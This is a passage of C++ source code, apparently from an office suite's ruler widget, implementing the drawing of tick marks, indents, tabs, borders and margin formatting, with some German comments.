< -RULER_CLIP ) return; } long nClip = mnVirWidth+RULER_CLIP; if ( nX2 > nClip ) { nX2 = nClip; if ( nX1 > nClip ) return; } if ( mnWinStyle & WB_HORZ ) maVirDev.DrawLine( Point( nX1, nY1 ), Point( nX2, nY2 ) ); else maVirDev.DrawLine( Point( nY1, nX1 ), Point( nY2, nX2 ) ); } // ----------------------------------------------------------------------- void Ruler::ImplVDrawRect( long nX1, long nY1, long nX2, long nY2 ) { if ( nX1 < -RULER_CLIP ) { nX1 = -RULER_CLIP; if ( nX2 < -RULER_CLIP ) return; } long nClip = mnVirWidth+RULER_CLIP; if ( nX2 > nClip ) { nX2 = nClip; if ( nX1 > nClip ) return; } if ( mnWinStyle & WB_HORZ ) maVirDev.DrawRect( Rectangle( nX1, nY1, nX2, nY2 ) ); else maVirDev.DrawRect( Rectangle( nY1, nX1, nY2, nX2 ) ); } // ----------------------------------------------------------------------- void Ruler::ImplVDrawText( long nX, long nY, const String& rText ) { if ( (nX > -RULER_CLIP) && (nX < mnVirWidth+RULER_CLIP) ) { if ( mnWinStyle & WB_HORZ ) maVirDev.DrawText( Point( nX, nY ), rText ); else maVirDev.DrawText( Point( nY, nX ), rText ); } } // ----------------------------------------------------------------------- void Ruler::ImplInvertLines( sal_Bool bErase ) { // Positionslinien if ( mpData->nLines && mbActive && !mbDrag && !mbFormat && !(mnUpdateFlags & RULER_UPDATE_LINES) ) { long n; long nNullWinOff = mpData->nNullVirOff+mnVirOff; long nRulX1 = mpData->nRulVirOff+mnVirOff; long nRulX2 = nRulX1+mpData->nRulWidth; long nY = (RULER_OFF*2)+mnVirHeight-1; // Rectangle berechnen Rectangle aRect; if ( mnWinStyle & WB_HORZ ) aRect.Bottom() = nY; else aRect.Right() = nY; // Linien ausgeben for ( sal_uInt16 i = 0; i < mpData->nLines; i++ ) { n = mpData->pLines[i].nPos+nNullWinOff; if ( (n >= nRulX1) && (n < nRulX2) ) { if ( mnWinStyle & WB_HORZ ) { aRect.Left() = n; aRect.Right() = n; } else { aRect.Top() = n; aRect.Bottom() = n; } if ( bErase ) { Rectangle aTempRect = aRect; if ( mnWinStyle & WB_HORZ ) aTempRect.Bottom() = RULER_OFF-1; else aTempRect.Right() = RULER_OFF-1; Erase( aTempRect ); if ( mnWinStyle & WB_HORZ ) { aTempRect.Bottom() = aRect.Bottom(); aTempRect.Top() = aTempRect.Bottom()-RULER_OFF+1; } else { aTempRect.Right() = aRect.Right(); aTempRect.Left() = aTempRect.Right()-RULER_OFF+1; } Erase( aTempRect ); } Invert( aRect ); } } } } // ----------------------------------------------------------------------- void Ruler::ImplDrawTicks( long nMin, long nMax, long nStart, long nCenter ) { long n = 0; long nTick = 0; long nTick3 = aImplRulerUnitTab[mnUnitIndex].nTick3; long nTickCount = aImplRulerUnitTab[mnUnitIndex].nTick1; Size aPixSize = maVirDev.LogicToPixel( Size( nTick3, nTick3 ), maMapMode ); long nTickWidth; long nX; long nY; sal_Bool bNoTicks = sal_False; // Groessenvorberechnung // Sizes calculation sal_Bool bVertRight = sal_False; if ( mnWinStyle & WB_HORZ ) nTickWidth = aPixSize.Width(); else { Font aFont = GetFont(); if ( mnWinStyle & WB_RIGHT_ALIGNED ) { aFont.SetOrientation( 2700 ); bVertRight = sal_True; } else aFont.SetOrientation( 900 ); maVirDev.SetFont( aFont ); nTickWidth = aPixSize.Height(); } long nMaxWidth = maVirDev.PixelToLogic( Size( mpData->nPageWidth, 0 ), maMapMode ).Width(); if ( nMaxWidth < 0 ) nMaxWidth = -nMaxWidth; nMaxWidth /= aImplRulerUnitTab[mnUnitIndex].nTickUnit; UniString aNumStr( UniString::CreateFromInt32( nMaxWidth ) ); long nTxtWidth = GetTextWidth( aNumStr ); const long nTextOff = 4; if ( nTickWidth < nTxtWidth+nTextOff ) { // Calculate the scale of the ruler long nMulti = 1; long nOrgTick3 = nTick3; while ( nTickWidth < nTxtWidth+nTextOff ) { long nOldMulti = nMulti; if ( !nTickWidth ) //If nTickWidth equals 0 nMulti *= 10; else if ( nMulti < 10 ) nMulti++; else if ( nMulti < 100 ) nMulti += 10; else if ( nMulti < 1000 ) nMulti += 100; else nMulti += 1000; // Ueberlauf, dann geben wir nichts aus, da wir bei so einem // unsinnigen Massstab sowieso nichts vernuenftiges anzeigen // koennen if ( nMulti < nOldMulti ) { bNoTicks = sal_True; break; } nTick3 = nOrgTick3 * nMulti; aPixSize = maVirDev.LogicToPixel( Size( nTick3, nTick3 ), maMapMode ); if ( mnWinStyle & WB_HORZ ) nTickWidth = aPixSize.Width(); else nTickWidth = aPixSize.Height(); } nTickCount = nTick3; } else maVirDev.SetLineColor( GetSettings().GetStyleSettings().GetWindowTextColor() ); if ( !bNoTicks ) { long nTxtWidth2; long nTxtHeight2 = GetTextHeight()/2; while ( ((nStart-n) >= nMin) || ((nStart+n) <= nMax) ) { // Null-Punkt if ( !nTick ) { if ( nStart > nMin ) { // 0 is only painted when Margin1 is not equal to zero if ( (mpData->nMargin1Style & RULER_STYLE_INVISIBLE) || (mpData->nMargin1 != 0) ) { aNumStr = (sal_Unicode)'0'; nTxtWidth2 = maVirDev.GetTextWidth( aNumStr )/2; if ( (mnWinStyle & WB_HORZ)^mpData->bTextRTL ) nX = nStart-nTxtWidth2; else nX = nStart+nTxtWidth2; long n_Y = bVertRight ? nCenter+nTxtHeight2 : nCenter-nTxtHeight2; ImplVDrawText( nX, n_Y, aNumStr ); } } } else { aPixSize = maVirDev.LogicToPixel( Size( nTick, nTick ), maMapMode ); if ( mnWinStyle & WB_HORZ ) n = aPixSize.Width(); else n = aPixSize.Height(); // Tick3 - Output (Text) if ( !(nTick % nTick3) ) { aNumStr = UniString::CreateFromInt32( nTick / aImplRulerUnitTab[mnUnitIndex].nTickUnit ); nTxtWidth2 = GetTextWidth( aNumStr )/2; nX = nStart+n; //different orientation needs a different starting position nY = bVertRight ? nCenter+nTxtHeight2 : nCenter-nTxtHeight2; // Check if we can display full number if ( nX < (nMax-nTxtWidth2) ) { if ( mnWinStyle & WB_HORZ ) nX -= nTxtWidth2; else nX += nTxtWidth2; ImplVDrawText( nX, nY, aNumStr ); } nX = nStart-n; if ( nX > (nMin+nTxtWidth2) ) { if ( mnWinStyle & WB_HORZ ) nX -= nTxtWidth2; else nX += nTxtWidth2; ImplVDrawText( nX, nY, aNumStr ); } } // Tick/Tick2 - Output (Strokes) else { if ( !(nTick % aImplRulerUnitTab[mnUnitIndex].nTick2) ) nTickWidth = RULER_TICK2_WIDTH; else nTickWidth = RULER_TICK1_WIDTH; long nT1 = nCenter-(nTickWidth/2); long nT2 = nT1+nTickWidth-1; long nT; nT = nStart+n; if ( nT < nMax ) ImplVDrawLine( nT, nT1, nT, nT2 ); nT = nStart-n; if ( nT > nMin ) ImplVDrawLine( nT, nT1, nT, nT2 ); } } // #i49017# with some zoom factors the value nTick can overflow if( ((sal_uLong)nTick + (sal_uLong)nTickCount) > (sal_uLong)LONG_MAX) break; nTick += nTickCount; } } } // ----------------------------------------------------------------------- void Ruler::ImplDrawArrows( long nCenter ) { sal_uInt16 i; long n1; long n2; long n3; long n4; long nLogWidth; String aStr; String aStr2; sal_Bool bDrawUnit; long nTxtWidth; long nTxtHeight2 = GetTextHeight()/2; const vcl::I18nHelper& rI18nHelper = GetSettings().GetLocaleI18nHelper(); maVirDev.SetLineColor( GetSettings().GetStyleSettings().GetWindowTextColor() ); for ( i = 0; i < mpData->nArrows; i++ ) { n1 = mpData->pArrows[i].nPos+mpData->nNullVirOff+1; n2 = n1+mpData->pArrows[i].nWidth-2; // Einheit umrechnen nLogWidth = mpData->pArrows[i].nLogWidth; if ( meSourceUnit == MAP_TWIP ) { if ( nLogWidth >= 100000 ) nLogWidth = (nLogWidth*254)/144; else nLogWidth = (nLogWidth*2540)/1440; } if ( nLogWidth >= 1000000 ) nLogWidth = (nLogWidth / aImplRulerUnitTab[mnUnitIndex].n100THMM) * 1000; else nLogWidth = (nLogWidth*1000) / aImplRulerUnitTab[mnUnitIndex].n100THMM; aStr = rI18nHelper.GetNum( nLogWidth, aImplRulerUnitTab[mnUnitIndex].nUnitDigits, sal_True, sal_False ); // Einheit an den String haengen aStr2 = aStr; aStr2.AppendAscii( aImplRulerUnitTab[mnUnitIndex].aUnitStr ); // Textbreite ermitteln bDrawUnit = sal_True; nTxtWidth = GetTextWidth( aStr2 ); if ( nTxtWidth < mpData->pArrows[i].nWidth-10 ) aStr = aStr2; else { nTxtWidth = GetTextWidth( aStr ); if ( nTxtWidth > mpData->pArrows[i].nWidth-10 ) bDrawUnit = sal_False; } // Ist genuegen Platz fuer Einheiten-String vorhanden if ( bDrawUnit ) { n3 = n1 + ((n2-n1)/2) - 1; if ( mnWinStyle & WB_HORZ ) n3 -= nTxtWidth/2; else n3 += nTxtWidth/2; if ( mnWinStyle & WB_HORZ ) { n4 = n3 + nTxtWidth + 2; ImplVDrawLine( n1, nCenter, n3, nCenter ); ImplVDrawLine( n4, nCenter, n2, nCenter ); } else { n4 = n3 - nTxtWidth - 2; ImplVDrawLine( n1, nCenter, n4, nCenter ); ImplVDrawLine( n3, nCenter, n2, nCenter ); } ImplVDrawText( n3, nCenter-nTxtHeight2, aStr ); } else ImplVDrawLine( n1, nCenter, n2, nCenter ); ImplVDrawLine( n1+1, nCenter-1, n1+1, nCenter+1 ); ImplVDrawLine( n1+2, nCenter-2, n1+2, nCenter+2 ); ImplVDrawLine( n2-1, nCenter-1, n2-1, nCenter+1 ); ImplVDrawLine( n2-2, nCenter-2, n2-2, nCenter+2 ); } } // ----------------------------------------------------------------------- void Ruler::ImplDrawBorders( long nMin, long nMax, long nVirTop, long nVirBottom ) { const StyleSettings& rStyleSettings = GetSettings().GetStyleSettings(); long n; long n1; long n2; long nTemp1; long nTemp2; sal_uInt16 i; for ( i = 0; i < mpData->nBorders; i++ ) { if ( mpData->pBorders[i].nStyle & RULER_STYLE_INVISIBLE ) continue; n1 = mpData->pBorders[i].nPos+mpData->nNullVirOff; n2 = n1+mpData->pBorders[i].nWidth; if ( ((n1 >= nMin) && (n1 <= nMax)) || ((n2 >= nMin) && (n2 <= nMax)) ) { if ( (n2-n1) > 3 ) { maVirDev.SetLineColor(); if ( !(rStyleSettings.GetOptions() & STYLE_OPTION_MONO) ) maVirDev.SetFillColor( rStyleSettings.GetFaceColor() ); else maVirDev.SetFillColor( rStyleSettings.GetWindowColor() ); ImplVDrawRect( n1, nVirTop, n2, nVirBottom ); if ( !(rStyleSettings.GetOptions() & STYLE_OPTION_MONO) ) { maVirDev.SetLineColor( rStyleSettings.GetLightColor() ); ImplVDrawLine( n1+1, nVirTop, n1+1, nVirBottom ); ImplVDrawLine( n1, nVirTop, n2, nVirTop ); maVirDev.SetLineColor( rStyleSettings.GetShadowColor() ); ImplVDrawLine( n1, nVirTop, n1, nVirBottom ); ImplVDrawLine( n1, nVirBottom, n2, nVirBottom ); ImplVDrawLine( n2-1, nVirTop, n2-1, nVirBottom ); maVirDev.SetLineColor( rStyleSettings.GetWindowTextColor() ); ImplVDrawLine( n2, nVirTop, n2, nVirBottom ); } else { maVirDev.SetLineColor( rStyleSettings.GetWindowTextColor() ); ImplVDrawLine( n1, nVirTop, n1, nVirBottom ); ImplVDrawLine( n2, nVirTop, n2, nVirBottom ); } if ( mpData->pBorders[i].nStyle & RULER_BORDER_VARIABLE ) { if ( n2-n1 > RULER_VAR_SIZE+4 ) { nTemp1 = n1 + (((n2-n1+1)-RULER_VAR_SIZE) / 2); nTemp2 = nVirTop + (((nVirBottom-nVirTop+1)-RULER_VAR_SIZE) / 2); long nTemp3 = nTemp1+RULER_VAR_SIZE-1; long nTemp4 = nTemp2+RULER_VAR_SIZE-1; long nTempY = nTemp2; if ( !(rStyleSettings.GetOptions() & STYLE_OPTION_MONO) ) maVirDev.SetLineColor( rStyleSettings.GetLightColor() ); else maVirDev.SetLineColor( rStyleSettings.GetWindowTextColor() ); while ( nTempY <= nTemp4 ) { ImplVDrawLine( nTemp1, nTempY, nTemp3, nTempY ); nTempY += 2; } if ( !(rStyleSettings.GetOptions() & STYLE_OPTION_MONO) ) { nTempY = nTemp2+1; maVirDev.SetLineColor( rStyleSettings.GetShadowColor() ); while ( nTempY <= nTemp4 ) { ImplVDrawLine( nTemp1, nTempY, nTemp3, nTempY ); nTempY += 2; } } } } if ( mpData->pBorders[i].nStyle & RULER_BORDER_SIZEABLE ) { if ( n2-n1 > RULER_VAR_SIZE+10 ) { if ( !(rStyleSettings.GetOptions() & STYLE_OPTION_MONO) ) { maVirDev.SetLineColor( rStyleSettings.GetShadowColor() ); ImplVDrawLine( n1+4, nVirTop+3, n1+4, nVirBottom-3 ); ImplVDrawLine( n2-5, nVirTop+3, n2-5, nVirBottom-3 ); maVirDev.SetLineColor( rStyleSettings.GetLightColor() ); ImplVDrawLine( n1+5, nVirTop+3, n1+5, nVirBottom-3 ); ImplVDrawLine( n2-4, nVirTop+3, n2-4, nVirBottom-3 ); } else { maVirDev.SetLineColor( rStyleSettings.GetWindowTextColor() ); ImplVDrawLine( n1+4, nVirTop+3, n1+4, nVirBottom-3 ); ImplVDrawLine( n2-4, nVirTop+3, n2-4, nVirBottom-3 ); } } } } else { n = n1+((n2-n1)/2); if ( !(rStyleSettings.GetOptions() & STYLE_OPTION_MONO) ) maVirDev.SetLineColor( rStyleSettings.GetShadowColor() ); else maVirDev.SetLineColor( rStyleSettings.GetWindowTextColor() ); if ( mpData->pBorders[i].nStyle & RULER_BORDER_SNAP ) ImplVDrawLine( n, nVirTop, n, nVirBottom ); else if ( mpData->pBorders[i].nStyle & RULER_BORDER_MARGIN ) ImplVDrawLine( n, nVirTop, n, nVirBottom ); else { ImplVDrawLine( n-1, nVirTop, n-1, nVirBottom ); ImplVDrawLine( n+1, nVirTop, n+1, nVirBottom ); maVirDev.SetLineColor(); maVirDev.SetFillColor( rStyleSettings.GetWindowColor() ); ImplVDrawRect( n, nVirTop, n, nVirBottom ); } } } } } // ----------------------------------------------------------------------- void Ruler::ImplDrawIndent( const Polygon& rPoly, sal_uInt16 nStyle ) { const StyleSettings& rStyleSettings = GetSettings().GetStyleSettings(); Point aPos1; Point aPos2; sal_uInt16 nIndentStyle = nStyle & RULER_INDENT_STYLE; if ( nStyle & RULER_STYLE_INVISIBLE ) return; if ( nStyle & RULER_STYLE_DONTKNOW ) { maVirDev.SetLineColor( rStyleSettings.GetShadowColor() ); maVirDev.SetFillColor( rStyleSettings.GetFaceColor() ); } else { maVirDev.SetLineColor( rStyleSettings.GetDarkShadowColor() ); maVirDev.SetFillColor( rStyleSettings.GetFaceColor() ); } maVirDev.DrawPolygon( rPoly ); if ( !(rStyleSettings.GetOptions() & STYLE_OPTION_MONO) && !(nStyle & RULER_STYLE_DONTKNOW) ) { if ( nIndentStyle == RULER_INDENT_BOTTOM ) { maVirDev.SetLineColor( rStyleSettings.GetLightColor() ); aPos1 = rPoly.GetPoint( 2 ); aPos1.X()++; aPos2 = rPoly.GetPoint( 1 ); aPos2.X()++; maVirDev.DrawLine( aPos2, aPos1 ); aPos2.X()--; aPos2.Y()++; aPos1 = rPoly.GetPoint( 0 ); aPos1.Y()++; maVirDev.DrawLine( aPos2, aPos1 ); maVirDev.SetLineColor( rStyleSettings.GetShadowColor() ); aPos2 = rPoly.GetPoint( 4 ); aPos2.Y()++; maVirDev.DrawLine( aPos1, aPos2 ); aPos2.X()--; aPos1 = rPoly.GetPoint( 3 ); aPos1.X()--; maVirDev.DrawLine( aPos2, aPos1 ); aPos1.Y()--; aPos2 = rPoly.GetPoint( 2 ); aPos2.X()++; aPos2.Y()--; maVirDev.DrawLine( aPos2, aPos1 ); } else { maVirDev.SetLineColor( rStyleSettings.GetLightColor() ); aPos1 = rPoly.GetPoint( 2 ); aPos1.X()++; aPos1.Y()++; aPos2 = rPoly.GetPoint( 3 ); aPos2.Y()++; maVirDev.DrawLine( aPos1, aPos2 ); aPos2 = rPoly.GetPoint( 1 ); aPos2.X()++; maVirDev.DrawLine( aPos1, aPos2 ); aPos2.X()--; aPos2.Y()--; aPos1 = rPoly.GetPoint( 0 ); aPos1.Y()--; maVirDev.DrawLine( aPos2, aPos1 ); maVirDev.SetLineColor( rStyleSettings.GetShadowColor() ); aPos2 = rPoly.GetPoint( 4 ); aPos2.Y()--; maVirDev.DrawLine( aPos1, aPos2 ); aPos2.X()--; aPos1 = rPoly.GetPoint( 3 ); aPos1.X()--; maVirDev.DrawLine( aPos2, aPos1 ); } maVirDev.SetLineColor( rStyleSettings.GetDarkShadowColor() ); maVirDev.SetFillColor(); maVirDev.DrawPolygon( rPoly ); } } // ----------------------------------------------------------------------- void Ruler::ImplDrawIndents( long nMin, long nMax, long nVirTop, long nVirBottom ) { sal_uInt16 j; long n; long nIndentHeight = (mnVirHeight/2) - 1; long nIndentWidth2 = nIndentHeight-3; Polygon aPoly( 5 ); for ( j = 0; j < mpData->nIndents; j++ ) { if ( mpData->pIndents[j].nStyle & RULER_STYLE_INVISIBLE ) continue; sal_uInt16 nStyle = mpData->pIndents[j].nStyle; sal_uInt16 nIndentStyle = nStyle & RULER_INDENT_STYLE; n = mpData->pIndents[j].nPos+mpData->nNullVirOff; if ( (n >= nMin) && (n <= nMax) ) { if(nIndentStyle == RULER_INDENT_BORDER) { const StyleSettings& rStyleSettings = GetSettings().GetStyleSettings(); maVirDev.SetLineColor( rStyleSettings.GetShadowColor() ); ImplVDrawLine( n, nVirTop, n, nVirBottom ); } else if ( nIndentStyle == RULER_INDENT_BOTTOM ) { aPoly.SetPoint( Point( n+0, nVirBottom-nIndentHeight ), 0 ); aPoly.SetPoint( Point( n-nIndentWidth2, nVirBottom-3 ), 1 ); aPoly.SetPoint( Point( n-nIndentWidth2, nVirBottom ), 2 ); aPoly.SetPoint( Point( n+nIndentWidth2, nVirBottom ), 3 ); aPoly.SetPoint( Point( n+nIndentWidth2, nVirBottom-3 ), 4 ); } else { aPoly.SetPoint( Point( n+0, nVirTop+nIndentHeight ), 0 ); aPoly.SetPoint( Point( n-nIndentWidth2, nVirTop+3 ), 1 ); aPoly.SetPoint( Point( n-nIndentWidth2, nVirTop ), 2 ); aPoly.SetPoint( Point( n+nIndentWidth2, nVirTop ), 3 ); aPoly.SetPoint( Point( n+nIndentWidth2, nVirTop+3 ), 4 ); } if(0 == (mnWinStyle & WB_HORZ)) { Point aTmp; for(sal_uInt16 i = 0; i < 5; i++) { aTmp = aPoly[i]; Point aSet(nVirBottom - aTmp.Y(), aTmp.X()); aPoly[i] = aSet; } } if(RULER_INDENT_BORDER != nIndentStyle) ImplDrawIndent( aPoly, nStyle ); } } } // ----------------------------------------------------------------------- static void ImplCenterTabPos( Point& rPos, sal_uInt16 nTabStyle ) { sal_Bool bRTL = 0 != (nTabStyle & RULER_TAB_RTL); nTabStyle &= RULER_TAB_STYLE; rPos.Y() += RULER_TAB_HEIGHT/2; if ( (!bRTL && nTabStyle == RULER_TAB_LEFT) ||( bRTL && nTabStyle == RULER_TAB_RIGHT)) rPos.X() -= RULER_TAB_WIDTH/2; else if ( (!bRTL && nTabStyle == RULER_TAB_RIGHT) ||( bRTL && nTabStyle == RULER_TAB_LEFT)) rPos.X() += RULER_TAB_WIDTH/2; } // ----------------------------------------------------------------------- void lcl_RotateRect_Impl(Rectangle& rRect, const long nReference, sal_Bool bRightAligned) { if(!rRect.IsEmpty()) { Rectangle aTmp(rRect); rRect.Top() = aTmp.Left(); rRect.Bottom() = aTmp.Right(); rRect.Left() = aTmp.Top(); rRect.Right() = aTmp.Bottom(); if(bRightAligned) { long nRef = 2 * nReference; rRect.Left() = nRef - rRect.Left(); rRect.Right() = nRef - rRect.Right(); } } } // ----------------------------------------------------------------------- static void ImplDrawRulerTab( OutputDevice* pDevice, const Point& rPos, sal_uInt16 nStyle, WinBits nWinBits ) { if ( nStyle & RULER_STYLE_INVISIBLE ) return; sal_uInt16 nTabStyle = nStyle & RULER_TAB_STYLE; sal_Bool bRTL = 0 != (nStyle & RULER_TAB_RTL); Rectangle aRect1, aRect2, aRect3; aRect3.SetEmpty(); if ( nTabStyle == RULER_TAB_DEFAULT ) { aRect1.Left() = rPos.X() - RULER_TAB_DWIDTH2 + 1 ; aRect1.Top() = rPos.Y() - RULER_TAB_DHEIGHT2 + 1 ; aRect1.Right() = rPos.X() - RULER_TAB_DWIDTH2 + RULER_TAB_DWIDTH ; aRect1.Bottom() = rPos.Y(); aRect2.Left() = rPos.X() - RULER_TAB_DWIDTH2 + RULER_TAB_DWIDTH3; aRect2.Top() = rPos.Y() - RULER_TAB_DHEIGHT + 1; aRect2.Right() = rPos.X() - RULER_TAB_DWIDTH2 + RULER_TAB_DWIDTH3 + RULER_TAB_DWIDTH4 - 1; aRect2.Bottom() = rPos.Y(); } else if ( (!bRTL && nTabStyle == RULER_TAB_LEFT) ||( bRTL && nTabStyle == RULER_TAB_RIGHT)) { aRect1.Left() = rPos.X(); aRect1.Top() = rPos.Y() - RULER_TAB_HEIGHT2 + 1; aRect1.Right() = rPos.X() + RULER_TAB_WIDTH - 1; aRect1.Bottom() = rPos.Y(); aRect2.Left() = rPos.X(); aRect2.Top() = rPos.Y() - RULER_TAB_HEIGHT + 1; aRect2.Right() = rPos.X() + RULER_TAB_WIDTH2 - 1; aRect2.Bottom() = rPos.Y(); } else if ( (!bRTL && nTabStyle == RULER_TAB_RIGHT) ||( bRTL && nTabStyle == RULER_TAB_LEFT)) { aRect1.Left() = rPos.X() - RULER_TAB_WIDTH + 1; aRect1.Top() = rPos.Y() - RULER_TAB_HEIGHT2 + 1; aRect1.Right() = rPos.X(); aRect1.Bottom() = rPos.Y(); aRect2.Left() = rPos.X() - RULER_TAB_WIDTH2 + 1; aRect2.Top() = rPos.Y() - RULER_TAB_HEIGHT + 1; aRect2.Right() = rPos.X(); aRect2.Bottom() = rPos.Y(); } else { aRect1.Left() = rPos.X() - RULER_TAB_CWIDTH2 + 1; aRect1.Top() = rPos.Y() - RULER_TAB_HEIGHT2 + 1; aRect1.Right() = rPos.X() - RULER_TAB_CWIDTH2 + RULER_TAB_CWIDTH; aRect1.Bottom() = rPos.Y(); aRect2.Left() = rPos.X() - RULER_TAB_CWIDTH2 + RULER_TAB_CWIDTH3; aRect2.Top() = rPos.Y() - RULER_TAB_HEIGHT + 1; aRect2.Right() = rPos.X() - RULER_TAB_CWIDTH2 + RULER_TAB_CWIDTH3 + RULER_TAB_CWIDTH4 - 1; aRect2.Bottom() = rPos.Y(); if ( nTabStyle == RULER_TAB_DECIMAL ) { aRect3.Left() = rPos.X() - RULER_TAB_CWIDTH2 + RULER_TAB_CWIDTH - 1; aRect3.Top() = rPos.Y() - RULER_TAB_HEIGHT + 1 + 1; aRect3.Right() = rPos.X() - RULER_TAB_CWIDTH2 + RULER_TAB_CWIDTH; aRect3.Bottom()= rPos.Y() - RULER_TAB_HEIGHT + 1 + 2 ; } } if( 0 == (nWinBits&WB_HORZ) ) { sal_Bool bRightAligned = 0 != (nWinBits&WB_RIGHT_ALIGNED); lcl_RotateRect_Impl(aRect1, rPos.Y(), bRightAligned); lcl_RotateRect_Impl(aRect2, rPos.Y(), bRightAligned); lcl_RotateRect_Impl(aRect3, rPos.Y(), bRightAligned); } pDevice->DrawRect( aRect1 ); pDevice->DrawRect( aRect2 ); if(!aRect2.IsEmpty()) pDevice->DrawRect( aRect3 ); } // ----------------------------------------------------------------------- void Ruler::ImplDrawTab( OutputDevice* pDevice, const Point& rPos, sal_uInt16 nStyle ) { if ( nStyle & RULER_STYLE_INVISIBLE ) return; pDevice->SetLineColor(); if ( nStyle & RULER_STYLE_DONTKNOW ) pDevice->SetFillColor( GetSettings().GetStyleSettings().GetFaceColor() ); else pDevice->SetFillColor( GetSettings().GetStyleSettings().GetWindowTextColor() ); if(mpData->bTextRTL) nStyle |= RULER_TAB_RTL; ImplDrawRulerTab( pDevice, rPos, nStyle, GetStyle()); } // ----------------------------------------------------------------------- void Ruler::ImplDrawTabs( long nMin, long nMax, long nVirTop, long nVirBottom ) { for ( sal_uInt16 i = 0; i < mpData->nTabs; i++ ) { if ( mpData->pTabs[i].nStyle & RULER_STYLE_INVISIBLE ) continue; long n; n = mpData->pTabs[i].nPos; n += +mpData->nNullVirOff; long nTopBottom = GetStyle() & WB_RIGHT_ALIGNED ? nVirTop : nVirBottom; if ( (n >= nMin) && (n <= nMax) ) ImplDrawTab( &maVirDev, Point( n, nTopBottom ), mpData->pTabs[i].nStyle ); } } // ----------------------------------------------------------------------- void Ruler::ImplInitSettings( sal_Bool bFont, sal_Bool bForeground, sal_Bool bBackground ) { const StyleSettings& rStyleSettings = GetSettings().GetStyleSettings(); if ( bFont ) { Font aFont; aFont = rStyleSettings.GetToolFont(); if ( IsControlFont() ) aFont.Merge( GetControlFont() ); SetZoomedPointFont( aFont ); } if ( bForeground || bFont ) { Color aColor; if ( IsControlForeground() ) aColor = GetControlForeground(); else aColor = rStyleSettings.GetWindowTextColor(); SetTextColor( aColor ); SetTextFillColor(); } if ( bBackground ) { Color aColor; if ( IsControlBackground() ) aColor = GetControlBackground(); else aColor = rStyleSettings.GetFaceColor(); SetBackground( aColor ); } maVirDev.SetSettings( GetSettings() ); maVirDev.SetBackground( GetBackground() ); Font aFont = GetFont(); if ( mnWinStyle & WB_VERT ) aFont.SetOrientation( 900 ); maVirDev.SetFont( aFont ); maVirDev.SetTextColor( GetTextColor() ); maVirDev.SetTextFillColor( GetTextFillColor() ); } // ----------------------------------------------------------------------- void Ruler::ImplCalc() { // Offset berechnen mpData->nRulVirOff = mnWinOff + mpData->nPageOff; if ( mpData->nRulVirOff > mnVirOff ) mpData->nRulVirOff -= mnVirOff; else mpData->nRulVirOff = 0; long nRulWinOff = mpData->nRulVirOff+mnVirOff; // Nicht sichtbaren Bereich der Page berechnen long nNotVisPageWidth; if ( mpData->nPageOff < 0 ) { nNotVisPageWidth = -(mpData->nPageOff); if ( nRulWinOff < mnWinOff ) nNotVisPageWidth -= mnWinOff-nRulWinOff; } else nNotVisPageWidth = 0; // Breite berechnen if ( mnWinStyle & WB_HORZ ) { if ( mbAutoWinWidth ) mnWinWidth = mnWidth - mnVirOff; if ( mpData->bAutoPageWidth ) mpData->nPageWidth = mnWinWidth; mpData->nRulWidth = Min( mnWinWidth, mpData->nPageWidth-nNotVisPageWidth ); if ( nRulWinOff+mpData->nRulWidth > mnWidth ) mpData->nRulWidth = mnWidth-nRulWinOff; } else { if ( mbAutoWinWidth ) mnWinWidth = mnHeight - mnVirOff; if ( mpData->bAutoPageWidth ) mpData->nPageWidth = mnWinWidth; mpData->nRulWidth = Min( mnWinWidth, mpData->nPageWidth-nNotVisPageWidth ); if ( nRulWinOff+mpData->nRulWidth > mnHeight ) mpData->nRulWidth = mnHeight-nRulWinOff; } mbCalc = sal_False; } // ----------------------------------------------------------------------- void Ruler::ImplFormat() { // Wenn schon formatiert ist, brauchen wir es nicht nochmal if ( !mbFormat ) return; // Wenn Fenster noch keine Groesse hat, brauchen wir noch nichts machen if ( !mnVirWidth ) return; const StyleSettings& rStyleSettings = GetSettings().GetStyleSettings(); long nP1; // Pixel-Position von Page1 long nP2; // Pixel-Position von Page2 long nM1; // Pixel-Position von Margin1 long nM2; // Pixel-Position von Margin2 long nVirTop; // Obere/Linke-Kante bei Ausgabe long nVirBottom; // Untere/Rechte-Kante bei Ausgabe long nVirLeft; // Linke/Obere-Kante bei Ausgabe long nVirRight; // Rechte/Untere-Kante bei Ausgabe long nNullVirOff; // Fuer schnellere Berechnung // Werte berechnen if ( mbCalc ) ImplCalc(); mpData->nNullVirOff = mnWinOff+mpData->nPageOff+mpData->nNullOff-mnVirOff; nNullVirOff = mpData->nNullVirOff; nVirLeft = mpData->nRulVirOff; nVirRight = nVirLeft+mpData->nRulWidth-1; nVirTop = 0; nVirBottom = mnVirHeight-1; if ( !IsReallyVisible() ) return; Size aVirDevSize; sal_Bool b3DLook = !(rStyleSettings.GetOptions() & STYLE_OPTION_MONO); // VirtualDevice initialize if ( mnWinStyle & WB_HORZ ) { aVirDevSize.Width() = mnVirWidth; aVirDevSize.Height() = mnVirHeight; } else { aVirDevSize.Height() = mnVirWidth; aVirDevSize.Width() = mnVirHeight; } if ( aVirDevSize != maVirDev.GetOutputSizePixel() ) maVirDev.SetOutputSizePixel( aVirDevSize, sal_True ); else maVirDev.Erase(); // Raender berechnen if ( !(mpData->nMargin1Style & RULER_STYLE_INVISIBLE) ) { nM1 = mpData->nMargin1+nNullVirOff; if ( mpData->bAutoPageWidth ) { nP1 = nVirLeft; if ( nM1 < nVirLeft ) nP1--; } else nP1 = nNullVirOff-mpData->nNullOff; } else { nM1 = nVirLeft-1; nP1 = nM1; } if ( !(mpData->nMargin2Style & RULER_STYLE_INVISIBLE) ) { nM2 = mpData->nMargin2+nNullVirOff; if ( mpData->bAutoPageWidth ) { nP2 = nVirRight; if ( nM2 > nVirRight ) nP2++; } else nP2 = nNullVirOff-mpData->nNullOff+mpData->nPageWidth; if ( nM2 > nP2 ) nM2 = nP2; } else { nM2 = nVirRight+1; nP2 = nM2; } // Obere/untere Kante ausgeben if ( b3DLook ) maVirDev.SetLineColor( rStyleSettings.GetShadowColor() ); else maVirDev.SetLineColor( rStyleSettings.GetWindowTextColor() ); ImplVDrawLine( nVirLeft, nVirTop, nM1 - 1, nVirTop ); //top left line ImplVDrawLine( nM2 +1, nVirTop, nP2 -1, nVirTop ); //top right line // Jetzt wird zwischen dem Schatten ausgegeben nVirTop++; nVirBottom--; // Margin1, Margin2 und Zwischenraum ausgeben maVirDev.SetLineColor(); if ( b3DLook ) maVirDev.SetFillColor( rStyleSettings.GetFaceColor() ); else maVirDev.SetFillColor( rStyleSettings.GetWindowColor() ); if ( nM1 > nVirLeft ) 